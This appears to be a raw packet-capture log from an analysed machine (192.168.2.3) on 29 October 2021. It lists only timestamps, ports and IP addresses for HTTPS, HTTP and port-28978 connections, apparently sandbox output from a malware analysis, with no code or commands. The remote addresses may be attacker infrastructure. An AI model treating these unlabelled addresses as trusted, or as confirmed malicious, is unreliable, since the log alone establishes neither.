Oct 29, 2021 14:10:51.222692966 CEST	50054	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.222733021 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.258285999 CEST	50058	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.258328915 CEST	443	50058	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.258411884 CEST	50058	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.259351969 CEST	50058	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.259375095 CEST	443	50058	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.272218943 CEST	50059	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.272273064 CEST	443	50059	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.272357941 CEST	50059	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.272594929 CEST	50059	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.272614956 CEST	443	50059	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.273334026 CEST	50060	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.273377895 CEST	443	50060	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.273490906 CEST	50060	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.275465965 CEST	50060	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.275491953 CEST	443	50060	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.296353102 CEST	443	50058	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.297070026 CEST	50058	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.297718048 CEST	443	50058	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.298563957 CEST	50058	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.298728943 CEST	443	50058	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.298989058 CEST	50058	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.310849905 CEST	443	50059	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.311547041 CEST	443	50060	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.311903000 CEST	50059	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.311925888 CEST	443	50059	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.312020063 CEST	50060	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.312536001 CEST	443	50059	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.313144922 CEST	50059	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.313162088 CEST	50059	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.313169003 CEST	443	50059	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.313308001 CEST	443	50059	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.313702106 CEST	443	50060	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.313785076 CEST	50060	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.314280987 CEST	50060	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.314362049 CEST	443	50060	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.314429998 CEST	50060	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.335890055 CEST	443	50058	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.336081028 CEST	443	50058	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.336210012 CEST	50058	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.336236000 CEST	443	50058	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.336257935 CEST	443	50058	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.336308002 CEST	50058	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.349225998 CEST	443	50059	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.349399090 CEST	443	50059	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.349452972 CEST	50059	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.349466085 CEST	50059	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.350379944 CEST	443	50060	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.350553036 CEST	443	50060	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.350579977 CEST	50060	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.350611925 CEST	50060	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.365106106 CEST	50058	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.365135908 CEST	443	50058	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.365309954 CEST	50059	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.365335941 CEST	443	50059	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.366543055 CEST	50060	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.366560936 CEST	443	50060	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.517891884 CEST	50066	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.517926931 CEST	443	50066	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.518066883 CEST	50066	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.518253088 CEST	50066	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.518270969 CEST	443	50066	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.519288063 CEST	50067	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.519323111 CEST	443	50067	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.519536972 CEST	50067	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.520312071 CEST	50067	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.520337105 CEST	443	50067	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.554004908 CEST	443	50066	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.554349899 CEST	50066	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.555079937 CEST	443	50066	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.555567026 CEST	50066	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.555716038 CEST	50066	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.555727959 CEST	443	50066	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.569128990 CEST	443	50067	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.569962025 CEST	50067	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.569994926 CEST	443	50067	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.570676088 CEST	443	50067	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.571501017 CEST	50067	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.571672916 CEST	443	50067	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.571693897 CEST	50067	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.584304094 CEST	443	50066	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.584403038 CEST	50066	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.599724054 CEST	443	50067	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.599817991 CEST	50067	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.603586912 CEST	50066	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.603616953 CEST	443	50066	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.604850054 CEST	50067	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.604888916 CEST	443	50067	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.696281910 CEST	50070	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.696335077 CEST	443	50070	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.696429014 CEST	50070	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.696702003 CEST	50070	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.696729898 CEST	443	50070	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.697400093 CEST	50071	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.697474003 CEST	443	50071	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.697554111 CEST	50071	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.697813034 CEST	50071	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.697839975 CEST	443	50071	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.698410988 CEST	50072	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.698443890 CEST	443	50072	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.698523998 CEST	50072	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.698709011 CEST	50072	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.698736906 CEST	443	50072	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.732012033 CEST	443	50070	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.733505011 CEST	443	50071	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.733896971 CEST	50071	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.734014988 CEST	443	50072	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.734028101 CEST	50070	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.734596014 CEST	443	50071	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.734801054 CEST	443	50070	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.737890959 CEST	50072	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.738301039 CEST	50071	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.738487005 CEST	443	50071	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.738737106 CEST	50070	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.738913059 CEST	443	50070	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.738995075 CEST	50071	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.739073038 CEST	50070	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.740806103 CEST	443	50072	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.740919113 CEST	50072	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.742336988 CEST	50072	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.742520094 CEST	443	50072	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.742741108 CEST	50072	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.762490988 CEST	443	50070	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.762615919 CEST	443	50070	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.762713909 CEST	50070	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.763189077 CEST	443	50071	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.763283968 CEST	443	50071	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.763422012 CEST	50071	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.764879942 CEST	443	50072	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.765700102 CEST	50070	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.765733957 CEST	443	50070	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.765747070 CEST	50072	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.765762091 CEST	50070	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.766567945 CEST	50071	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.766587973 CEST	50070	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.766603947 CEST	443	50071	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.766979933 CEST	50072	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:51.766993046 CEST	443	50072	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:51.946460009 CEST	50075	80	192.168.2.3	172.67.160.46
Oct 29, 2021 14:10:51.963423967 CEST	80	50075	172.67.160.46	192.168.2.3
Oct 29, 2021 14:10:51.964081049 CEST	50075	80	192.168.2.3	172.67.160.46
Oct 29, 2021 14:10:51.964436054 CEST	50075	80	192.168.2.3	172.67.160.46
Oct 29, 2021 14:10:51.981632948 CEST	80	50075	172.67.160.46	192.168.2.3
Oct 29, 2021 14:10:52.136164904 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:10:52.137111902 CEST	80	50075	172.67.160.46	192.168.2.3
Oct 29, 2021 14:10:52.137160063 CEST	80	50075	172.67.160.46	192.168.2.3
Oct 29, 2021 14:10:52.137198925 CEST	80	50075	172.67.160.46	192.168.2.3
Oct 29, 2021 14:10:52.137237072 CEST	50075	80	192.168.2.3	172.67.160.46
Oct 29, 2021 14:10:52.137237072 CEST	80	50075	172.67.160.46	192.168.2.3
Oct 29, 2021 14:10:52.137268066 CEST	80	50075	172.67.160.46	192.168.2.3
Oct 29, 2021 14:10:52.137295008 CEST	80	50075	172.67.160.46	192.168.2.3
Oct 29, 2021 14:10:52.137299061 CEST	50075	80	192.168.2.3	172.67.160.46
Oct 29, 2021 14:10:52.137371063 CEST	50075	80	192.168.2.3	172.67.160.46
Oct 29, 2021 14:10:52.165720940 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:10:52.165776968 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:10:52.165813923 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:10:52.165851116 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:10:52.169222116 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.215599060 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.215713978 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.216084957 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.216160059 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.262422085 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.262461901 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.279762030 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:10:52.550959110 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.551018000 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.551057100 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.551095963 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.551132917 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.551134109 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.551172018 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.551181078 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.551212072 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.551225901 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.551243067 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.551270962 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.551322937 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.596478939 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.643013954 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868122101 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868169069 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868208885 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868247986 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868251085 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.868285894 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868324041 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868329048 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.868360996 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868379116 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.868401051 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868438959 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868470907 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.868520975 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.868541002 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.914927006 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.914978981 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915019989 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915059090 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915060997 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.915098906 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915115118 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.915138006 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915174961 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915214062 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915234089 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.915250063 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915290117 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915302992 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.915328026 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915344000 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.915366888 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915405035 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915441036 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915478945 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915492058 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.915498972 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.915518045 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915554047 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915591002 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915627956 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.915644884 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.915651083 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.915666103 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.919419050 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.962315083 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962367058 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962404966 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962444067 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962481976 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962495089 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.962521076 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.962521076 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962562084 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962574959 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.962599993 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962637901 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962675095 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962711096 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962728024 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.962733984 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.962753057 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962791920 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962830067 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962843895 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.962871075 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962883949 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.962908030 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962945938 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.962982893 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963021994 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963033915 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.963040113 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.963061094 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963099957 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963139057 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963177919 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963192940 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.963200092 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.963217020 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963253975 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963291883 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963304043 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.963329077 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963340998 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.963368893 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963407040 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963444948 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963484049 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963520050 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963532925 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.963540077 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.963557005 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963598013 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963620901 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.963635921 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.963742971 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.965744019 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.965786934 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.965811014 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.965826035 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.965864897 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.965903044 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:52.965950012 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:52.965960026 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.010171890 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010231972 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010273933 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010333061 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010341883 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.010390997 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010445118 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010462046 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.010504961 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010562897 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010581017 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.010602951 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010641098 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010689974 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.010694027 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010696888 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.010754108 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010812998 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010864973 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010880947 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.010905981 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010920048 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.010946035 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.010982990 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011023045 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011060953 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011076927 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011091948 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011101007 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011141062 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011177063 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011193991 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011214972 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011229038 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011255026 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011291981 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011305094 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011329889 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011367083 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011404037 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011419058 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011445045 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011459112 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011482000 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011519909 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011557102 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011594057 CEST	80	50078	194.180.174.181	192.168.2.3
